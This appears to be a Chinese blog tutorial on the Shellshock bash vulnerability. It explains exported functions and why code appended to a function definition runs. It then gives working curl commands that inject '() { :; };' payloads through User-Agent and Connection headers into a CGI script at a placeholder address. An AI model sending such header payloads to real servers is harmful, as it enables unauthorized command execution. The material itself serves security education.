• jQuery火箭图标返回顶部代码


    0x01 简介

    bash的环境变量:环境变量是操作系统运行shell中的变量,很多程序的运行需要获取系统的环境变量参数。

    具体赋值格式如下:

    $mo="hello world"
    

    然后你就可以使用这个变量了,但是只是局部变量,即是当前进程可以用,若当前进程的子进程或者其他进程需要用,需要用到 export 将本进程的变量 copy 到其他进程。

    如果没加 export ,新建一个bash,再输出 $var 就不能获取环境变量:

    $mo="hello bash"
    $echo $mo
    hello bash
    $bash
    $echo $mo
    

    所以得加个 export,才可以成为全局环境变量

    0x02 漏洞产生原理

    2.1 bash函数

    首先来简单理解一下bash的函数,bash是可以存在函数的:

    $ foo(){ echo "hello coolshell"; }
    $ foo
    hello coolshell
    $ bash
    $ foo
    bash: foo: command not found
    

    与上面同理, 加个 export -f 就可以全局调用:

    $ foo(){ echo "hello coolshell"; }
    $ foo
    hello coolshell
    $ export -f foo
    $ bash
    $ foo
    hello coolshell
    

    2.2 bash的bug

    先看如下测试代码:

    $export X='() { echo "inside X"; }; echo "outside X";'
    
    #用env 查看创建出来的环境变量
    $env
    X=(){ echo "inside X"; }; echo "outside X";
    

    当我们在当前的 bash shell 进程下产生一个 bash 的子进程时,新的子进程会读取父进程的所有 export 的环境变量,并复制到自己的进程空间中,很明显,上面的X变量的函数的后面还注入了一条命令:echo “outside X”,这条命令会在父进程向子进程复制的过程中被执行。

    $export X='() { echo "inside X"; }; echo "outside X";'
    $bash
    outside X
    

    这就是 bash 的 bug —— 函数体外面的代码被默认地执行了

    0x03 漏洞实践

    当目标网站中存在任意 bash 文件时,可以尝试利用此 bash 漏洞,案例如下 cgi-bin 目录下的 poc.cgi 文件:

    通过 HTTP 构造恶意请求:

    #修改请求头中的 User-Agent
    curl -A '() { :; }; echo -e "
    ";/bin/ls -la' http://x.x.x.x:40765/cgi-bin/poc.cgi
    
    #添加 Connection 请求头
    curl -H 'Connection:() { :; }; echo -e "
    ";/bin/ls -la' http://x.x.x.x:40765/cgi-bin/poc.cgi
    

  • 相关阅读:
    织梦安装
    讲解版的自动轮播(新手福利)样式和js就不分离了为了看的方便
    APP制作过程
    细线边框
    APP常用模块
    PC-JS小技巧
    PC-CSS-多浏览器支持HTML5
    jQuery瀑布流实例无限滚动加载图片
    25个Java机器学习工具&库(收藏)
    java中的动态代理----自己手动实现
  • 原文地址:https://www.cnblogs.com/-mo-/p/12676664.html
Copyright © 2020-2023  润新知